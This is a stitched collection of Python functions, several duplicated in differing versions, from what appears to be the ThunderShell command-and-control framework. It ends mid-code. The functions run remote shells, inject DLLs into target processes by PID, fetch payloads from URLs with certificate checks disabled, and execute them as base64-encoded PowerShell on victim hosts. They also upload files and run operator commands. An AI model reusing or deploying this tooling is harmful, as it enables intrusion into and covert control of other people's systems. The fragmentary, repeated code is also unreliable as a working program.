def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print "\nLast %d lines of log\n-----------------------\n" % rows data = list(reversed(data)) for i in range(0, rows): try: print data[i] except: pass
def start_gui(config): prefix = "http://" try: port = int(config.get("gui-port")) except: UI.error("(gui-port) GUI HTTP port need to be a integer.", True) if config.get("https-enabled") == "on": prefix = "https://" web_config = {} web_config["server"] = "%s%s:%s" % (prefix, config.get("http-host"), config.get("http-port")) web_config["version"] = version app.init(config, web_config) path = "%s/logs/%s" % (os.getcwd(), str(time.strftime("%d-%m-%Y"))) gui_log = "%s/gui.log" % path if not os.path.exists(path): os.makedirs(path) fd = os.open(gui_log, os.O_RDWR | os.O_CREAT) fd2 = 2 websocket.run(app, host=config.get("gui-host"), port=port, log_output=os.dup2(fd, fd2))
def read_file(self, data): try: cmd, path = data.split(" ", 2) return "Get-Content %s" % path except: UI.error("Missing arguments") return ""
def parse_cmd(self, data): cmd = data.split(' ', 1)[0].lower() if not self.guid == '': if cmd == 'background': self._prompt = 'Main' self.db.remove_active_user(self.config.get('uid'), self.guid) self.guid = '' elif cmd == 'exit': UI.error('*** You really want to kill this shell *** (yes/no)') if UI.prompt('Exit').lower() == 'yes': self.db.push_cmd(self.guid, 'exit', Utils.guid(), self.config.get('username')) self._prompt = 'Main' self.guid = '' else: self.db.append_shell_data( self.guid, '[%s] %s Sending: \n%s\n\n' % (Utils.timestamp(), self.config.get('username'), data)) Log.log_shell(self.guid, 'Sending', data, self.config.get('username')) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == 'help' or data == ''): self.db.push_cmd(self.guid, data, Utils.guid(), self.config.get('username')) else: # interacting with the main console if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) elif not cmd.strip() == '': UI.error('%s is not a valid command' % cmd)
def read_file(self, data): try: (cmd, path) = data.split(' ', 2) return 'Get-Content %s' % path except: UI.error('Missing arguments') return ''
def file_exists(path, die=False, show_error=True): if os.path.exists(path): return True if show_error: UI.error("%s not found" % path, die) return False
def get_cmd_output(self, guid): for item in self.sql.get_cmd_response(self.config.get('uid')): print '' UI.warn('Command output:\n%s' % self.redis.get_output(item[0], item[1])[0]) self.sql.delete_response(item[0], item[2], item[1], item[3]) guid = item[0] return guid
def start_httpd(config): ip = config.get("http-host") try: port = int(config.get("http-port")) except: UI.error("(http-port) HTTP port need to be a integer.", True) UI.warn("Starting web server on %s port %d" % (ip, port)) try: server_class = http.server.HTTPServer if ":" in config.get("http-host"): UI.warn("IPv6 detected") server_class = HTTPServerIPv6 factory = HTTPDFactory(config) httpd_server = server_class((ip, port), factory) if config.get("https-enabled") == "on": cert = config.get("https-cert-path") Utils.file_exists(cert, True) httpd_server.socket = ssl.wrap_socket(httpd_server.socket, certfile=cert) UI.warn("Web server is using HTTPS") httpd_server.serve_forever() except Exception as e: print(sys.exc_info()[1]) UI.error( "Server was not able to start (Port already in use?)... Aborting", True)
def read_file(self, data): try: cmd, path = data.split(" ", 2) return "Get-Content %s" % path except: UI.error("Missing arguments") return ""
def file_exists(path, die=False, show_error=True): if os.path.exists(path): return True if show_error: UI.error("%s not found" % path, die) return False
def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print("\nLast %d lines of log\n----------------------\n" % rows) data = list(data) for i in range(0, rows): try: print data[i] except: pass
def flushdb(self, data): force = Utils.get_arg_at(data, 1, 1) if force: self.db.flushdb() UI.error("The whole redis DB was flushed") else: UI.error("Please use the force switch")
def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd)
def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd)
def inject(self, data): archs = ["32", "64"] try: option, arch, pid, cmd = data.split(" ", 3) except: UI.error("Missing arguments") return "" if len(cmd) > 4096: UI.error("Your command is bigger than 4096 bytes") return "" if not arch in archs: UI.error("Invalid architecture provided (32/64)") return "" dll = Utils.load_file("bin/inject-%s.dll" % arch) dll = dll.replace("A" * 4096, cmd + "\x00" * (4096 - len(cmd))) ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(dll)) ps = Utils.update_key(ps, "PID", pid) UI.success("Injecting %s" % cmd) UI.success("Into %s bits process with PID %s" % (arch, pid)) return ps
def start_flask(config, cli): prefix = "http://" if config.get("gui-https-enabled") == "on": prefix = "https://" UI.warn("Web GUI Started: %s%s:%s" % (prefix, config.get("gui-host"), config.get("gui-port"))) UI.warn("Web GUI Password: %s" % config.get("server-password")) app.init(config, cli) try: if config.get("gui-https-enabled") == "on": cert = config.get("gui-https-cert-path") Utils.file_exists(cert, True) server = WSGIServer( (config.get("gui-host"), int(config.get("gui-port"))), app, log=None, keyfile=cert, certfile=cert) else: server = WSGIServer( (config.get("gui-host"), int(config.get("gui-port"))), app, log=None) server.serve_forever() except: pass
def install_db(self): cursor = self.conn.cursor() cursor.execute( "SELECT 1 FROM information_schema.tables WHERE table_schema = 'thundershell' AND table_name = 'active_session'" ) if cursor.rowcount == 0: UI.error("Creating MySQL tables for first time use") cursor.execute("CREATE DATABASE thundershell") cursor.execute( "CREATE TABLE thundershell.active_session (uid varchar(36), shell varchar(16))" ) cursor.execute( "CREATE TABLE thundershell.shell_cmd (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int, origin varchar(50))" ) cursor.execute( "CREATE TABLE thundershell.shell_response (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int)" ) cursor.execute( "CREATE TABLE thundershell.shell_cmd_data(guid varchar(36), data longtext)" ) self.conn.commit() cursor.close() return self
def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() if not self.guid == "": if cmd == "background": self._prompt = "Main" self.db.remove_active_user(self.config.get("uid"), self.guid) self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username")) self._prompt = "Main" self.guid = "" else: self.db.append_shell_data(self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data)) Log.log_shell(self.guid, "- Sending command", data, self.config.get("username")) if cmd in self.shell_cmds: callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data, Utils.guid(),self.config.get("username")) else: # interacting with the main console if cmd in self.cmds: callback = self.cmds[cmd] callback(data) elif not cmd.strip() == "": UI.error("%s is not a valid command" % cmd)
def get_autocommands(self, guid): profile = self.config.get("profile") commands = profile.get("autocommands") if isinstance(commands, list): UI.success("Running auto commands on shell %s" % guid) for command in commands: print "[+] %s" % command self.db.push_cmd(guid, command, Utils.guid(), self.config.get("username"))
def check_dependencies(): try: from tabulate import tabulate import redis import MySQLdb except: UI.error("Missing dependencies", False) Utils.install_dependencies()
def register(self, guid, data): cmd, guid, prompt = data.split(" ", 2) self.db.set_prompt(guid, prompt) index = self.db.get_id(guid) print "" UI.success("Registering new shell %s" % prompt) UI.success("New shell ID %s GUID is %s" % (index, guid)) Log.log_event("New Shell", data)
def register(self, guid, data): cmd, guid, prompt = data.split(" ", 2) self.db.set_prompt(guid, prompt) index = self.db.get_id(guid) print "" UI.success("Registering new shell %s" % prompt) UI.success("New shell ID %s GUID is %s" % (index, guid)) Log.log_event("New Shell", data)
def get_cmd_output(self, guid): for item in self.redis.get_active_cli_session_output(self.config.get('uid')): print('\n') data = self.redis.get_data(item) guid = item.split(":")[2] UI.warn('Command output:\n%s' % data) self.redis.delete_entry(item) return guid
def init_redis(self): try: self.conn = redis.StrictRedis(host=self.config.get('redis-host'), port=int( self.config.get('redis-port')), db=0) self.set_last_id() except: UI.error('Failed to connect to the redis instance', True)
def gen_encryption_key(self): install = Utils.file_exists(CONFIG.DEFAULT_INSTALL_PATH, False) if not install: UI.warn("Generating new keys") self.set("encryption-key", Utils.gen_str(24)) self.set("server-password", Utils.gen_str(32)) open(CONFIG.DEFAULT_INSTALL_PATH, "w").write("OK") self.save_config() self.reload = True
def check_dependencies(): try: from tabulate import tabulate import redis import MySQLdb except: UI.error( "Missing depencies. Install (python-redis, python-tabulate, python-mysqldb)", True)
def set_alias(self, data): try: (cmd, key, value) = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""
def check_dependencies(): try: from tabulate import tabulate from flask_socketio import SocketIO import flask import redis except: UI.error('Missing dependencies', False) Utils.install_dependencies()
def set_alias(self, data): try: (cmd, key, value) = data.split(' ', 2) except: UI.error('Missing arguments') return '' self.alias.set_custom(key, value) UI.success('%s is now set to %s' % (key, value)) return ''
def os_shell(self, data): cmd = Utils.get_arg_at(data, 1, 1) print("""Executing: %s\n----------------------""" % cmd) try: output = subprocess.check_output(cmd,stderr=subprocess.PIPE, shell=True) except: UI.error("Command failed to execute properly") output = "" print(output)
def gen_encryption_key(self): install = Utils.file_exists(CONFIG.DEFAULT_INSTALL_PATH, False) if not install: UI.warn('Generating new keys') self.set('encryption-key', Utils.gen_str(24)) self.set('server-password', Utils.gen_str(32)) open(CONFIG.DEFAULT_INSTALL_PATH, 'wb').write('OK') self.save_config() self.reload = True
def powerless(self, data): try: cmd, ps_cmd = data.split(" ", 1) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("powerless.ps1", 22) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd)) return ps
def check_dependencies(): try: from tabulate import tabulate from flask_socketio import SocketIO import flask import redis except Exception as e: print(e) UI.error("Missing dependencies", False) Utils.install_dependencies()
def get_cmd_output(self, guid): for item in self.redis.get_active_cli_session_output( self.config.get("uid")): print("\n") item = item.decode() data = self.redis.get_data(item).decode() guid = item.split(":")[2] UI.warn("Command output:\n%s" % data) self.redis.delete_entry(item) return guid
def powerless(self, data): try: cmd, ps_cmd = data.split(" ", 1) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("powerless.ps1", 22) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd)) return ps
def init_mysql(self): try: self.conn = MySQLdb.connect(host=self.config.get('mysql-host'), port=int( self.config.get('mysql-port')), user=self.config.get('mysql-user'), passwd=self.config.get('mysql-pass')) self.conn.autocommit(True) except: UI.error('Failed to connect to the MySQL instance', True)
def set_alias(self, data): try: cmd, key, value = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""
def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.guid = guid self._prompt = self.db.get_data("%s:prompt" % guid) else: UI.error("Invalid session ID")
def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.db.delete_all_by_guid(guid) print "Deleting shell with ID %s" % current_id else: UI.error("Invalid session ID")
def upload_file(self, data): try: cmd, path, remote = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data) ps = Utils.update_key(ps, "PATH", remote) UI.success("Payload will be saved at %s" % path) return ps else: UI.error("Cannot fetch the resource") return data
def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 12) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data
def download_url(path): request = urllib2.Request(path) request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0") # Accept invalid cert context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE data = "" try: data = urllib2.urlopen(request, context=context).read() except: UI.error("Failed to fetch %s" % path) return data
def start_httpd(config): ip = config.get("http-host") port = int(config.get("http-port")) UI.success("Starting web server on %s port %d" % (ip, port)) server_class = BaseHTTPServer.HTTPServer factory = HTTPDFactory(config) httpd_server = server_class((ip, port), factory) if config.get("https-enabled") == "on": cert = config.get("https-cert-path") Utils.file_exists(cert, True) httpd_server.socket = ssl.wrap_socket(httpd_server.socket, certfile=cert) UI.success("Web server is using HTTPS") httpd_server.serve_forever()
def inject(self, data): try: option, pid, cmd = data.split(" ", 2) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd)) ps = Utils.update_key(ps, "PID", pid) UI.success("Injecting %s" % cmd) UI.success("Into process with PID %s" % pid) return ps
def fetch(self, data): try: cmd, path, ps = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return ""
def init_redis(self): try: self.conn = redis.StrictRedis(host=self.config.get("redis-host"), port=int(self.config.get("redis-port")), db=0) self.set_last_id() except: UI.error("Failed to connect to the redis instance", True)
def parse_config(self): try: self.configs = json.loads(Utils.load_file(self.path, True)) except: UI.error("%s configuration file is not valid" % self.path, True)
def prompt(self): return UI.prompt(self._prompt)
""" @author: Mr.Un1k0d3r RingZer0 Team @package: launch """ import os import sys from core.config import CONFIG from core.redisquery import RedisQuery from core.httpd import init_httpd_thread from core.cli import Cli from core.ui import UI if __name__ == "__main__": UI.banner() if len(sys.argv) < 2: UI.error("Missing configuration file path\n\nUsage: %s config (optional -nohttpd)" % sys.argv[0], True) config = CONFIG(sys.argv[1]) db = RedisQuery(config) config.set("redis", db) # Launch the HTTPD daemon if not "-nohttpd" in sys.argv: httpd_thread = init_httpd_thread(config) cli = Cli(config) while True: try: